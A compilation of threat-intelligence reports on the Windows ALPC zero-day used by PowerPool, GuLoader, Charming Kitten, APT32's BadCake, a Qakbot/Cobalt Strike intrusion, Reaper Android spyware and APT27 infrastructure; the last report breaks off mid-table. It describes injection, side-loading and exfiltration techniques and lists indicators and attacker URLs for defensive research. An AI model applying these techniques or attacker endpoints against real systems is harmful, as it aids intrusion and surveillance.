# Windows Task Scheduler Zero Day Exploited by Malware By Ionut Ilascu September 5, 2018 Malware developers have started to use the zero-day exploit for the Task Scheduler component in Windows, two days after proof-of-concept code for the vulnerability appeared online. A security researcher who uses the online name SandboxEscaper on August 27 released the source code for exploiting a security bug in the Advanced Local Procedure Call (ALPC) interface used by Windows Task Scheduler. More specifically, the problem is with the SchRpcSetSecurity API function, which fails to properly check user's permissions, allowing write privileges on files in `C:\Windows\Task`. The vulnerability affects Windows versions 7 through 10 and can be used by an attacker to escalate their privileges to all-access SYSTEM account level. A couple of days after the exploit code became available (source and binary), malware researchers at ESET noticed its use in active malicious campaigns from a threat actor they call PowerPool, because of their tendency to use tools mostly written in PowerShell for lateral movement. ## PowerPool targets GoogleUpdate.exe The group appears to have a small number of victims in the following countries: Chile, Germany, India, the Philippines, Poland, Russia, the United Kingdom, the United States, and Ukraine. The researchers say that PowerPool developers did not use the binary version of the exploit, deciding instead to make some subtle changes to the source code before recompiling it. "PowerPool’s developers chose to change the content of the file `C:\Program Files (x86)\Google\Update\GoogleUpdate.exe`. This is the legitimate updater for Google applications and is regularly run under administrative privileges by a Microsoft Windows task," ESET notes. This allows PowerPool to overwrite the Google updater executable with a copy of a backdoor they typically use in the second stages of their attacks. The next time the updater is called, the backdoor launches with SYSTEM privileges. According to the researchers, PowerPool malware operators likely use the second-stage backdoor only on victims of interest, following a reconnaissance step. Microsoft did not patch the ALPC bug to this day, but it is expected to release a fix in its monthly security updates on September 11. Some mitigation is possible without Microsoft's help, though the company did not approve it. A solution provided by Karsten Nilsen blocks the exploit and allows scheduled tasks to run, but it may break things created by the legacy Task Scheduler interface. **Short term solution on VU#906424:** ``` icacls c:\windows\tasks /remove:g "Authenticated Users" icacls c:\windows\tasks /deny system:(OI)(CI)(WD,WDAC) ``` Tested and blocks 0day; changing these rights may result in unexpected behavior in scheduled tasks. Users of 64-bit Windows 10, version 1803, can mitigate the problem by applying a micropatch. The fix is temporary and requires the installation of the 0patch Agent from Acros Security. The company makes the source code for the micropatch available in the tweet below: "Blog post is in the making but for the impatient, here's the source code of our micropatch. Three patchlets, one calling RpcImpersonateClient, one removing a premature call to RpcRevertToSelf, and one adding a RpcRevertToSelf call where it should be. Just 4 instructions." Ionut Ilascu is a technology writer with a focus on all things cybersecurity. The topics he writes about include malware, vulnerabilities, exploits, and security defenses, as well as research and innovation in information security. His work has been published by Bitdefender, Netgear, The Security Ledger, and Softpedia.
# GuLoader: A Popular New VB6 Downloader that Abuses Cloud Services Proofpoint researchers have observed a new downloader in the wild that we and other researchers are calling “GuLoader.” Our researchers first observed GuLoader in late December 2019 being used to deliver Parallax RAT, which itself had recently been released. While we regularly observe new loaders, GuLoader has gained popularity quickly and is in active use by multiple threat actors. GuLoader is a downloader, written partly in VB6, which typically stores its encrypted payloads on Google Drive or Microsoft OneDrive (underscoring that threat actors continue to adopt the cloud just like legitimate businesses are). GuLoader is a portable executable (PE) file that is often observed embedded in a container file such as an .iso or .rar file. We have also observed it being downloaded directly from various cloud hosting platforms. GuLoader is used predominantly to download remote access Trojans (RATs) and information stealers such as Agent Tesla/Origin Logger, FormBook, NanoCore RAT, Netwire RAT, Remcos RAT, Ave Maria/Warzone RAT, and Parallax RAT. ## Analysis The GuLoader executable is a Visual Basic 6 wrapper which decrypts (XORing with a DWORD, 4-byte key) some shellcode containing the main functionality. The loader uses sophisticated injection techniques to make analysis difficult. For example, it: 1. Spawns a child process copy of itself (in suspended state) 2. Maps the image of a system DLL (typically "msvbvm60.dll" or "mstsc.exe") over the child at 0x400000 (instead of a normal high load address) 3. Injects the unpacking code into the child 4. Modifies a register within the context of the suspended child thread to redirect execution into the injected code 5. Resumes the child 6. The child overwrites the system DLL image at 0x400000 with the unpacked code The downloaded files consist of 64 hex digits followed by a PE executable encoded with XOR, where the XOR key is stored in the shellcode. ## Payload Encoding The payload URI paths (other than Google Drive or OneDrive ones) and downloaded filename frequently have the form "<something>_encrypted_XXXXXX.bin" where "XXXXXXX" are hexadecimal digits. The downloaded payloads consist of: * 64 lower-case hex digits * The XORed PE binary The XOR key was fixed at 96 bytes in early versions of the loader. Later versions have longer keys, typically 512-768 bytes long, usually consisting of a 256-byte key repeated to give the required length. The key is stored completely in the decoded shellcode. ## IOCs **Parallax Sample - 2019-12-23** SHA256: e8f8cc178425c55c03c76d0a2a11918371bba8f2d6f400752ca1cea5e663da2e URLs: hxxps://drive.google[.]com/uc?export=download&id=1dtlMCyozUPBepc-AtEdirGENZBpWesAi C2: 185.140.53[.]134:7776 **Remcos Sample - 2020-02-20** SHA256: 26f7bfe041a3d8a2b620d0ed2af4e2ef54b004202ec479362939b9154b1c8758 URLs: hxxps://drive.google[.]com/uc?export=download&id=1N8gVOM5p8Ubm1HwolChxHidT7YoN29EE C2: droptop1[.]com:2500 C2: droptop2[.]com:2500 C2: droptop3[.]com:2500 C2: droptop4[.]com:2500 C2: droptop5[.]com:2500 C2: droptop6[.]com:2500 C2: droptop7[.]com:2500 C2: droptop8[.]com:2500 C2: droptop9[.]com:2500 C2: droptop10[.]com:2500
# The Kittens Are Back in Town 2 – Charming Kitten Campaign Keeps Going on, Using New Impersonation Methods On the 15th of September 2019, we published a report about a sharp increase in Charming Kitten attacks against researchers from the US, Middle East, and France, focusing on Iranian academic researchers and Iranian dissidents in the US. In our last report, we exposed a new cyber espionage campaign that was conducted in July 2019. Since then, we observed another wave of these attacks, leveraging new impersonating vectors and IOCs. Until these days, Iran was not known as a country that tends to interfere in elections around the world. From a historical perspective, this type of cyber activity had been attributed mainly to Russian APT groups such as APT28 (known as Fancy Bear). The group is infamous for hacking American Democratic National Committee emails and targeting German and French campaign members, in an attempt to circumvent the elections in the US, Germany, and France. Microsoft’s October announcement exposes, for the first time, that Charming Kitten, an Iranian APT group, plays a role in the domain of cyber-attacks for the purpose of interfering with democratic procedures. On 4th of October 2019, Microsoft announced that Phosphorus (known as Charming Kitten) attempted to attack email accounts associated with the following targets: U.S. presidential campaign, current and former U.S. government officials, journalists covering global politics, and prominent Iranians living outside Iran. These spear-phishing attacks were conducted by Charming Kitten in August and September. We evaluate with medium-high confidence that Microsoft’s discovery and our findings in our previous and existing reports is a congruent operation. ## Our evaluation based on the following issues: 1. **Same victim profiles** – In both cases, the victims were individuals of interest to Iran in the fields of academic research, human rights, opposition to the Islamic Republic of Iran’s regime (such as NIAC), and journalists. Although the congruence is not exactly similar, our sample is mainly based on Israeli victims. 2. **Time overlapping** – In our latest report, we mentioned that we observed an escalation of the attacks in July-August 2019. In their announcement, Microsoft mentioned that the attacks occurred in a 30-day period between August and September. 3. **Similar attack vectors** – In both cases, Charming Kitten used similar attack vectors which are: - Password recovery impersonation of the secondary email belonging to the victims in both cases. - Both attack vectors used spear-phishing emails to target Microsoft, Google, and Yahoo services. - In our research, we identified a spear-phishing attack via SMS messages, indicating that Charming Kitten gathers phone numbers of the relevant victims. Microsoft found that Charming Kitten gathers phone numbers for password recovery and two-factor authentications of the relevant victims to gain control of their email accounts. In this report, we uncovered four new spear-phishing methods used by this group, alongside new indicators of this operation. Indicators of compromise are available for subscribers of the ClearSky threat intelligence service in MISP events 1745.
# Pond Loach Delivers BadCake Malware During 2018, iDefense observed several events likely attributed to the POND LOACH (aka APT32 and OceanLotus) threat group, an adversary that has likely been active since 2013. This group is allegedly behind an intrusion event into at least one organization operating in the hospitality sector in 2018, according to recent reporting by security researchers at CrowdStrike. ## About POND LOACH iDefense has moderate confidence that POND LOACH has been operating in or near Vietnam and is possibly supported by the Vietnamese government. This assessment is based upon open- and closed-source information pertaining to prior targeting of foreign governments, journalists, dissidents, and private sector organizations operating across numerous industries with significant business interests in Vietnam, including countries in Southeast Asia, such as the Philippines, Laos, and Cambodia (e.g., Association of Southeast Asian Nations [ASEAN]). POND LOACH appears to be well funded, as evidenced by its developed variety of custom backdoors to target Windows and Mac operating systems, as previously noted by security researchers at Palo Alto Networks and ESET. One of these custom backdoors that iDefense has continued to track is known as BadCake. This backdoor is commonly dropped by either an SFX or an exploit document (e.g., Microsoft Word or PDF file). Some of this backdoor’s observed capabilities include: - Arbitrary file, process, and registration creation - Fingerprinting the local machine - Running arbitrary shellcode Once dropped, it is usually divided into multiple components in order to be side-loaded, in a fashion similar to other remote access tools including PlugX and NetTraveler. Several examples of BadCake abusing legitimate, signed executables to carry out DLL side-loading techniques include the following: - Symantec file rastlsc.exe to import the rastls.dll malware file - McAfee file mcoemcpy.exe to import the McUtil.dll malware file ## POND LOACH Tactics and Techniques iDefense analysts have used the MITRE ATT&CK framework to map the observed POND LOACH tactics and techniques shown below: ### Initial Access - **Drive-by Compromise**: Watering hole attacks via use of malicious JavaScript to profile websites - **Spear Phishing Attachment**: Spear phishing e-mails containing malicious documents (RTF, Word, Excel) with embedded executable content - **Valid Accounts**: Use of legitimate local admin account credentials ### Execution - **PowerShell**: Use of PowerShell-based tools and shellcode loaders for execution - **Regsvr32**: Creates a scheduled task that uses regsvr32.exe to execute a COM scriptlet that dynamically downloads a backdoor and injects it into memory - **Scheduled Task**: Use of scheduled tasks to persist on victim systems, including BadCake creating a scheduled task to execute the executable that sideloads the DLL at a set time or interval each day - **Signed Script Proxy Execution**: Use of PubPrn.vbs within execution scripts to execute malware, possibly bypassing defenses - **User Execution**: Attempts to lure users to execute a malicious dropper contained within spear-phishing attachments ### Persistence - **New Service**: Creates a Windows service to establish persistence - **Web Shell**: Use of Web shells to maintain access to victim websites ### Privilege Escalation - **Exploitation for Privilege Escalation**: Use of CVE-2016-7255 vulnerability to escalate privileges ### Defense Evasion - **Binary Padding**: Inclusion of garbage code to mislead anti-malware software and researchers - **DLL Side-Loading**: Use of genuinely signed executables from Symantec Corporation and McAfee, LLC to load malicious DLL files, such as with BadCake, when the Symantec executable (rastlsc.exe) is used to load a malicious DLL file (rastls.dll) from the same directory - **Indicator Removal on Host**: Clears select event log entries - **Masquerading**: Use of hidden or non-printing characters to help masquerade filenames on a system, such as appending a Unicode no-break space character to a legitimate service name - **Obfuscated Files or Information**: Use of Invoke-Obfuscation framework to obfuscate actor’s PowerShell; also performs other forms of code obfuscation - **Timestomp**: Use of a scheduled task named “Scheduled Defrags” with a backdated task creation timestamp of June 2, 2016 ### Credential Access - **Credential Dumping**: Use of Mimikatz to dump stolen system and user credentials ### Discovery - **System Information Discovery**: Collects the victim operating system version and computer name - **System Owner/User Discovery**: Collects the victim's username ### Lateral Movement - **Application Deployment Software**: Compromises McAfee ePolicy Orchestrator (ePO) to move laterally by distributing malware as a software deployment task - **Remote File Copy**: Adds JavaScript to victim websites to download additional frameworks that profile and compromise website visitors ### Collection - **Automated Collection**: Ability to fingerprint the local machine ### Exfiltration - **Exfiltration over Command-and-Control (C2) Channel**: Use of domain generation algorithm (DGA) to create subdomains for C2 servers that are hardcoded into the malware - **Commonly Used Port**: Use of port 80 for C2 communications - **Uncommonly Used Port**: Use of port 25123 for C2 communications - **Standard Application Layer Protocol**: Use of HTTP protocol for C2 communications; use of JavaScript that communicates over HTTP or HTTPS to attacker-controlled domains to download additional frameworks - **Custom C2 Protocol**: Use of a custom TCP protocol, with which the adversary is able to filter who receives the real C2 address by ensuring each sample generates a unique domain name system (DNS) request based on profile data extracted from the host; use of Cobalt Strike malleable C2 functionality to blend in with network traffic ## Looking Forward In recent years, POND LOACH actors have continued to use TTPs such as strategic website compromise (SWC) and spear-phishing attacks to deliver custom website profiling tools and malware backdoors. The likely objective for this group appears to be infiltrating the digital assets of foreign public- and private-sector organizations with significant interests in Vietnam to steal intellectual property and confidential business information that may benefit Vietnamese state entities. iDefense analysts believe that this group will continue to be active into next year and that it will re-tool its arsenal as needed to avoid network defense mechanisms.
# CASE STUDY: Cobalt Strikes Out Cisco Talos IR and SecureX team up with client to repel attack. In 2020, an employee at a publicly traded company with more than $8 billion in revenue going through a merger and acquisition downloaded a malicious document containing the commodity banking trojan Qakbot. Unfortunately, the host was configured to trust and enable macros on all Excel documents on the internet. Therefore, there was no warning of the macros’ existence before they were automatically executed. Shortly after downloading the maldoc, a user opened it and a macro attempted to download a payload from an actor-controlled URL. It was saved to the victim machine and executed using a legitimate Windows component: rundll32.exe. Shortly afterward, the adversary used PowerShell to download penetration-testing tool Cobalt Strike onto the victim machine. CTIR observed the adversary executing multiple Cobalt Strike-encoded commands reaching out to their command and control (C2) over ports 80, 443, and 8080. The adversary also engaged in some initial profiling and system discovery, using PowerShell to enumerate Domain Controllers on the domain, and the open-source Active Directory profiling tool Bloodhound to identify users and systems within the domain. Shortly after Bloodhound was downloaded, a .JSON file was created in a user’s Downloads folder, likely containing the output of information about the users within the domain from the Bloodhound execution. The adversaries then dropped a Cobalt Strike executable on two Domain Controllers and used open-source Active Directory profiling tool ADFind to enumerate other hosts. Similar to the Bloodhound .JSON output file, the adversary also directed the output of their AdFind enumeration commands into a .CSV file. The adversary later deleted this file. Analysis of the Cobalt Strike beacons revealed they were executed from the ADMIN$ share, such as “\ADMIN$\9b0c536.exe,” suggesting this executable was executed remotely from another system. One of the Cobalt Strike payloads was also installed on a host as a service and executed — additional evidence of the adversary’s ability to execute payloads remotely. CTIR observed the suspicious PowerShell activity in their SecureX telemetry and sent a notification to the customer. This customer had an existing IR Retainer with CTIR and a strong relationship that was formed over extensive pre-incident engagements and drills. Similar to the case above, the customer’s alacrity in implementing CTIR recommendations avoided a disastrous outcome. CTIR recommendations included: - Reimaging the patient zero endpoint to a known good image with up-to-date patches installed, placed on a VLAN that cannot route to the infected VLAN to prevent reinfection. - Credential reset, similar to the case above, to prevent reinfection of affected hosts. - Issuing a Group Policy Object limiting macro execution in Microsoft Office documents, which would prevent a similar attack from leveraging that infection vector. - Instituting multi-factor authentication for all critical services to prevent remote-based compromise and post-compromise lateral movement. - Issuing a Group Policy Object limiting the use of Windows utilities, such as PowerShell PSExec and Remote Desktop, to trusted accounts. The collaborative, joint incident response between the customer’s IR team and CTIR led to a quick containment and full eradication of the active adversary in the enterprise IT environment that had the capability to deploy ransomware to complete actions on objective.
# Reaper Group’s Updated Mobile Arsenal **By Ruchna Nigam** **April 5, 2018** ## Summary A recent post from EST Security revealed the use of Android spyware in spear phishing email attachments linked to the North Korean Reaper group (also known as APT37, Scarcruft, Group 123, or Red Eyes), highlighting a new mobile vector added to the threat group’s toolkit. Unit 42 has looked further into EST’s findings and found a more advanced variant of the Trojan mentioned in their original article. Talos has written on this variant and named it KevDroid. This post provides our analysis of KevDroid, as well as details on the discovery of previously unknown trojanized versions of a Bitcoin Ticker Widget and a PyeongChang Winter Games application, that are downloaders for the spyware variants. ## Background The post by EST Security detailed an Android spyware disguising itself as an Anti-Virus app from Naver (the largest search and web portal service provider in South Korea). While hunting for similar samples, I came across two more versions of the same variant. One of those called home to cgalim[.]com, a domain that Palo Alto Networks had already observed being used by the Reaper group in non-mobile attacks. | App Name | Icon | SHA256 | |-------------------|------|-------------------------------------------------------------------------------------------| | Google Defender | | 06222141a684de8a0b6e5dc1f7a2b14603c98dbe404ad7605dc9eb9d903c3df8 | ### Update | App Name | Icon | SHA256 | |-------------------|------|-------------------------------------------------------------------------------------------| | | | f33aedfe5ebc918f5489e1f8a9fe19b160f112726e7ac2687e429695723bca6a | Table 1: Additional samples found for the original Android spyware variant linked to the Reaper group. Pivoting on artefacts from the original variant led to the discovery of a more advanced variant of the same spyware, which is described in detail further below. In addition, I also stumbled upon two Android applications that serve as downloaders for each of the two variants. They are discussed next. ## Downloaders While investigating the Reaper group’s Android spyware variants, I found two applications that have the ability to download and install an application from hxxp://cgalim.com/admin/hr/1[.]apk. I also observed the same URL serving the advanced variant of the Android spyware, confirming that these two applications served as downloaders for the Reaper group’s Android spyware. The two applications are trojanized versions of popular applications available on the Google Play Store. The two trojanized versions were not posted on Google Play. While both downloaders contacted the same URL to download their payloads, looking further into their code I found that they were each written to respectively download and drop one specific variant of Reaper’s Android spyware. | App Name | Icon | SHA256 | DROPPED PAYLOAD | |---------------------|------|-------------------------------------------------------------------------------------------|-------------------| | PyeongChang Winter | | 28c69801929f0472cef346880a295cdf4956023cd3d72a1b6e72238f5b033aca | New variant | | Games | | | | | Bitcoin Ticker | | 679d6ad1dd6d1078300e24cf5dbd17efea1141b0a619ff08b6cc8ff94cfbb27e | Original variant | Table 2: Android downloaders used to drop spyware variants linked to the Reaper group. Both applications are signed with the same certificate thereby confirming their origins from the same author(s). 1. Owner: CN=Jhon Phalccon, OU=Google Chrome, O=Google Chrome, L=Washington, ST=US, C=US 2. Issuer: CN=Jhon Phalccon, OU=Google Chrome, O=Google Chrome, L=Washington, ST=US, C=US 3. Serial number: 7b320fab 4. Valid from: Wed Jan 24 10:22:50 GMT 2018 until: Sun Jun 11 10:22:50 GMT 2045 Once these downloaders are installed, they display a message prompting the user to update the application. If the user follows the prompts, the downloader retrieves the payload and saves it to the external device memory as AppName.apk. The payload is then loaded prompting the user again to confirm its installation before it is finally installed on the device. The next section provides an analysis of the newer, more advanced variant of these payloads. ## Advanced Variant Analysis The following sample was used for this analysis: | App Name | Icon | SHA256 | |----------|--------|-------------------------------------------------------------------------------------------| | PU | (Blank)| 990d278761f87274a427b348f09475f5da4f924aa80023bf8d2320d981fb3209 | Table 3: New Android spyware variant discovered, linked to the Reaper group. This sample has the following abilities: - Record video (default duration is 10 mins) - Record audio (default duration is 5 mins, saved as 48_d[TS].amr) - Capture screenshots (saved as 96_d[TS].jpg) - Grab the phone’s file listing (saved as 128_d[TS].txt) - Fetch specific files - Download a list of commands - Get device info - 64-bit Android ID, Phone number, System Properties etc (saved as 208_d[TS].json) - Rooting the device, using a binary called ‘poc’ in the package assets Additionally, this advanced variant is capable of exfiltrating: - Voice recordings from incoming and outgoing calls (saved as _p[Ph]_in_[D].amr or _p[Ph]_out_[D].amr) - Call logs (saved as 16_d[TS].json) - SMS history (saved as 32_d[TS].json) - Contact lists (saved as 144_d[TS].json) - Information on registered accounts on the phone (saved as 160_d[TS].json) In each of these cases, [TS] is the current timestamp in the format yyyyMMddkkmmss, [Ph] is the source or destination phone number for a call, and [D] is the call duration. While these exfiltration capabilities are shared in common with the original variant, this new variant writes its own call recording library as opposed to using the open source library that was used by its predecessor. All exfiltrated information is written to the directory /sdcard/_pu on the phone and sent to hxxp://hakproperty.com/new/plat/pu[.]php?do=upload. Before transmission, the files are AES-encrypted using the key “08D03B0B6BE7FBCD”. This encryption scheme and key is consistent across the two variants. Post-encryption the files are renamed with the addition of a suffix ‘x’. All created files are deleted after they are sent to the upload server. When commanded to fetch a list of commands, the list is fetched from hxxp://hakproperty.com/new/plat/pu[.]php?do=download_rc&aid=" + [64-bit android_id]. ## Conclusion The emergence of a new attack vector, followed by the appearance of new variants disguising themselves as currently relevant applications like the Winter Olympics, indicates expanding operations of the Reaper group that are actively in development. Palo Alto Networks customers benefit from the following protections against these attacks: 1. AutoFocus customers can track the group’s activity using the Reaper tag. 2. WildFire detects all related samples with malicious verdicts. 3. Traps blocks all malicious files associated with this group. ## IOCs **Reaper Downloader APK samples** 28c69801929f0472cef346880a295cdf4956023cd3d72a1b6e72238f5b033aca 679d6ad1dd6d1078300e24cf5dbd17efea1141b0a619ff08b6cc8ff94cfbb27e **Advanced Variant sample** 990d278761f87274a427b348f09475f5da4f924aa80023bf8d2320d981fb3209 **Non-APK Reaper-related samples making use of cgalim[.]com** 0de087ffb95c88a65e83bd99631d73d0176220e8b740785de78d2d79294f2303 6b1f2dfe805fa0e27139c5a4840042599262dbbf4511a118d3fba3d4ec35f2d7 86887ce368d9a3e7fdf9aa62418cd68daeea62269d17afb059ab64201047e378 d29895aa3f515ec9e345b05882ee02033f75745b15348030803f82372e83277a d5de09cc5d395919d2d2000f79326a6997f4ec079879b11b05c4d1a1a847ed00
# PANDAMIC: EMISSARY PANDAS IN THE MIDDLE EAST **James Shank & Jacomo Piccolini** Team Cymru, USA [email protected] [email protected] --- ## ABSTRACT Network forensics is a well-developed discipline within the infosec industry. But what happens when you apply that tradecraft to global network visibility? For more than a year, we concentrated our efforts on tracking the infamous APT27 group of actors. What we found is compelling! Much like pandas leaving paw prints in the snow and other clear signs of their presence that trained observers are able to spot, the Emissary Panda actors leave many traces behind that analysts can use to watch their movements. For a while, APT27 (a.k.a. Emissary Panda, TG-3390, BRONZE UNION, Iron Tiger, LuckyMouse) has been busy conducting operations targeting the Middle East. These threat actors have exhibited some operational security awareness, which minimizes certain analysis possibilities. Despite their attempts to hide, we found evidence showing communications with victims in the energy, health care, technology, education, travel, and government sectors. These threat actors leave fingerprints and trails that we have been able to uncover through network forensics. Our global Internet traffic analysis shows an extensive and well-designed infrastructure that has evolved over time. In this paper, we will reveal the group’s fingerprints and highlight an impressive infrastructure. We have uncovered exfiltration paths, control infrastructure, and what appears to be a migration from one hosting provider to another. In an unexpected and unusual announcement in December 2019, the Iranian government tweeted publicly claiming they had ‘foiled’ an attack by ‘the well-known APT27’ – but is this really the case? This paper will add to the story by showing the before, during, and after impacts on the APT27 infrastructure around the time of the Iranian public statement. In summary, we will reveal intimate knowledge of enemy infrastructure and behaviors, allowing practitioners to achieve cyber field awareness. We present network infrastructure mapping that may reveal the APT27 actor’s battle plans. We will describe the scouting and detection methods we used to determine this infrastructure, as well as some defensive techniques network operators can employ to defeat these attacks. Pandas are not native to the Middle East, and despite their best efforts to hide their espionage campaign and exfiltration activities, we have been able to track their tell-tale trails as they sneak through the corners of the Internet. ## AECERT’S JUNE 2019 REPORT Securing the Internet as a whole takes a collaborative effort. Both public and private sector researchers contribute greatly to the shared understanding of the threats we all face from APT actors and others. Like others, we use these reports, bulletins, and publications to help build our knowledge and understanding of these threats. We regularly monitor reports from many different sources to help us stay on top of online threats. Like all major threat actor campaigns, APT27 has been on our radar for a long time. We often find reports that can be enriched to create a more complete picture of actor activity, through an analysis of the entire cyber field and Internet-scale visibility. These reports become a useful seed from which we can map out actor infrastructure beyond first hops, improve surveillance of actor activity, and add context that increases situational awareness. In many instances, Team Cymru is able to see more, know more, and understand more of the activity than the original report reveals. This story covers one such occasion. On 13 June 2019, aeCERT, the Computer Emergency Response Team of the United Arab Emirates, published a bulletin titled ‘Advanced Notification of Cyber Threats against Family of Malware Giving Remote Access to Computers’. This report warned of an active and ongoing malware campaign and provided a list of several indicators of compromise. It also gave sound advice regarding ways to mitigate the impact and defend networks against this campaign activity. The network indicators from the aeCERT report are reproduced in Table 1, augmented to include the originating network for each address. | IP address | Network AS and name | |---------------------|-------------------------------------------------------------------------------------| | 10.69.0.176 | | | 192.168.4.26 | Unrouted RFC1918 | | 192.168.1.237 | | | 202.179.0.142 | AS 9934 - MICOM-MN-AS Mongolia Telecom, MN | | 202.179.5.161 | | | 138.68.133.211 | | | 104.248.169.149 | | | 134.209.88.107 | | | 138.68.154.133 | | | 139.59.67.212 | AS 14061 - DIGITALOCEAN-ASN, US | | 139.59.82.32 | | | 142.93.219.48 | | | 142.93.233.195 | | | 159.89.168.83 | | | 178.128.202.249 | | | 206.189.123.156 | | | 209.97.171.8 | AS 24559 - GMOBILE-MN G-Mobile Corporation, MN | | 203.91.119.4 | | | 103.224.80.86 | AS 55933 - CLOUDIE-AS-AP Cloudie Limited, HK | | 185.220.59.120 | AS 197328 - INETLTD, TR | **Table 1:** aeCERT’s reported IP addresses with originating AS added. ## A BRIEF NOTE We do not wish to further victimize the targets of APT actors or other threat actor groups. Within this paper, we do not mention any victims by name or by identifying resource. All IoCs contained within this paper are believed to be owned and used solely by the threat actors during the time period identified. We show IoCs inline during discussions of the timeline where relevant. The infrastructure is very dynamic and many of the IoCs mentioned throughout are no longer active. An overview of recent IoCs is available in the IoCs section at the end of this paper. As with all reports of reconnaissance of actor infrastructure, this paper is based fully on the data Team Cymru holds and can access. This paper reflects a comprehensive portrayal of what is known, but as with all data, it is subject to observation bias that may underrepresent the totality of the APT27 actor infrastructure and activity. We would welcome the chance to compare our notes with the APT27 actor’s internal notes, but we are unlikely to get the chance to do so. We believe that this paper reflects the most informed available understanding of the APT27 infrastructure and overall activity outside of APT27’s own data. ## THE SUMMER OF 2019 Starting from the aeCERT report’s indicators, how does one achieve the state of cyber field awareness – that deep understanding of enemy operations that enables a tactical defense to stop the threat today and tomorrow? Team Cymru’s roots are in the deep technical knowledge of how the Internet works, applied to interpreting network metadata through the lens of threat intelligence practice. Today, we still gather and collect many different types of indicators that allow us to see what others cannot and do not. Taking the indicators from aeCERT’s report and comparing them against our data holdings, we see network communications and other indicators that allow us to map out the infrastructure of the APT27 actor group. We also found an X.509 certificate being served by some of the hosts, which is shown in Table 2. | Common name | Subject | NotAfter | NotBefore | SHA1 | Issuer | |-------------|---------|----------|-----------|------|--------| | domain.com | CN=domain.com, O=VPN | 2028-12-30 01:55:37 | 2019-01-02 01:55:37 | 6B:10:79:40:80:A1:55:3A:08:76:76:09:5D:05:4F:16:08:94:A2:4B | CN=VPN CA, O=Work | **Table 2:** First X.509 certificate observed. To enrich our understanding of the actor infrastructure, we performed our initial analysis based on network metadata. Table 3 shows the original aeCERT report indicators that were still active at the time of our analysis and the new associated systems found within Team Cymru network data. | aeCERT IoCs | Hosts talking to aeCERT IoCs | |-------------|-------------------------------| | 104.248.169.149 | 223.12.171.71 | | 134.209.88.107 | 223.12.172.63 | | 138.68.154.133 | 223.12.224.122 | | 139.59.67.212 | 223.12.224.20 | | 139.59.82.32 | 47.244.134.234 | | 142.93.219.48 | 47.244.159.87 | | 159.89.168.83 | 47.244.161.239 | | 178.128.202.249 | 47.244.227.84 | | 206.189.123.156 | 47.244.29.164 | | 209.97.171.8 | 47.244.57.48 | | | 47.52.211.201 | | | 47.52.226.143 | | | 47.52.39.161 | | | 47.89.31.25 | | | 47.91.206.33 | **Table 3:** aeCERT IoCs with additional associated hosts. Combining all of our initial indicators after the first set of pivots from further analysis of network communications allowed us to create a map showing a far more extensive infrastructure than the aeCERT paper detailed. Mapping out the enemy positions is a vital part of military scouting. In the digital space, understanding the infrastructure used by malicious actors is essential to systematic defense and getting ahead of the next round of attacks. To help with the understanding the systems discussed from this point forward, it will be helpful to define a few terms. | Term | Definition | |------|------------| | Malware communication | Victim connections by HyperBro and variants to controllers, connecting over TCP/443. | | Management (MGMT) VPN node | Listen for connections, expose observed X.509 certificates, part of the tunneling infrastructure, over TCP/443 and UDP/443. | | Data path node | Connect to controllers, believed to be used to collect exfiltrated data, part of the tunneling infrastructure. | | Operational node | Systems used for forward activity such as reconnaissance, exploiting targets, and configuring infrastructure. | **Table 4:** Definition of terms used. We can see that, during the summer of 2019, the actors established a network topology with multiple paths between nodes. Starting closest to the actors, we see connections from Chinanet Backbone or Alibaba establishing tunnels to the management VPN nodes at DigitalOcean. From these, they create tunnels to operational nodes, which they use to SSH into the malware controllers. These malware controllers receive victim communications, but also establish tunnels to what we believe to be data exfiltration nodes. This configuration is complex and we believe it is intended to hide the attackers’ origins from their victims, while also providing redundancy and fault tolerance. The fact that the actors have set up and are operating this level of infrastructure gives an indication of their sophistication and the value of these attacks for APT27. We believe the actors use distinct paths for management purposes and data exfiltration. The management VPN path is used to connect to operational nodes. These operational nodes are used for configuring and maintaining infrastructure, reconnaissance of targets, and exploiting targets. The data exfiltration tunnel path is used for carrying traffic from malware controllers back towards the actors. The use of distinct paths for different purposes is part of the group’s operational security awareness. We noted the significance of 139.59.67.212 to the actor infrastructure. This host, an operational node, showed what we believe to be VPN connections inbound from higher order infrastructure and SSH sessions outbound to command-and-control servers. We also see indicators consistent with target reconnaissance (HTTP/HTTPS) outbound from this host. The first X.509 certificate we observed was live on this host from April 2019 to June 2019. Based on the network activity of this host, it seems that this system is used by the actors for management and forward compromise activity. The actors used 134.209.88.107 during this phase as a management VPN node for receiving and creating VPN connections. We see inbound UDP and TCP port 443 traffic coming to this host, as well as some outbound UDP and TCP 443 connections from this host to both DigitalOcean and Alibaba hosts. This host also hosted the first X.509 certificate observed from April 2019 to July 2019. This is the main host we observe Chinanet Backbone hosts connecting to at the time, but we also see some connectivity between Chinanet Backbone and 159.89.168.83. We see a wide variety of targets within this initial data analysis, showing victim malware communications connecting back to the controllers via TCP port 443. These indicators of successful execution of the malware on many different victim networks is present throughout our monitoring. We include basic victim demographics at the end of this report, keeping with our policy of protecting victims from further victimology. ## LITTLE IS STATIC BETWEEN SUMMER AND FALL As with the changing of the leaves from vibrant green to hues of red, orange, and yellow, so too do the resources used by threat actors change. Sometimes these changes have predictable frequency or signals that reveal details of their preferences or operational security. Starting around September 2019, we observe several changes in the operational hosts, the providers used, and some of the patterns of network communication. These changes all took place well after the publication of the aeCERT notice. It was not clear to us at this time what prompted the significant changes to the actor infrastructure and communications patterns. Prior to this, we had not observed a similar change in infrastructure. Most notably, we observe significant changes in active hosts and network fingerprints. Many of the former DigitalOcean hosts were no longer active. We noted a significant reduction in TCP port 4550 traffic. We see the actors moving fully to using port 55781 for network communications, having previously used port 4550. We also note a significant change, seeing the actors introduce a second X.509 certificate into their infrastructure, shown in Table 5. | Common name | Subject | NotAfter | NotBefore | SHA1 | Issuer | |-------------|---------|----------|-----------|------|--------| | domain.com | CN=domain.com, O=VPN | 2029-08-23 01:53:45 | 2019-08-26 01:53:45 | 43:CD:54:4A:01:8F:29:56:A3:3E:D6:55:1E:ED:85:DC:26:05:9D:62 | CN=VPN CA, O=Work | **Table 5:** Second X.509 certificate observed. Our data shows this certificate in use by nine hosts during September 2019. These hosts, along with the initial observation dates, are shown below. | IP address | ASN | First seen | |---------------------|------------------------------------------|------------| | 47.56.102.6 | Alibaba, HK | 2019-09 | | 47.75.124.161 | Alibaba, HK | 2019-09 | | 47.90.97.10 | Alibaba, HK | 2019-09 | | 47.254.233.126 | Alibaba, MY | 2019-09 | | 47.244.146.7 | Alibaba, HK | 2019-09 | | 139.162.98.149 | Linode, LLC, JP | 2019-09 | | 47.56.183.184 | Alibaba, HK | 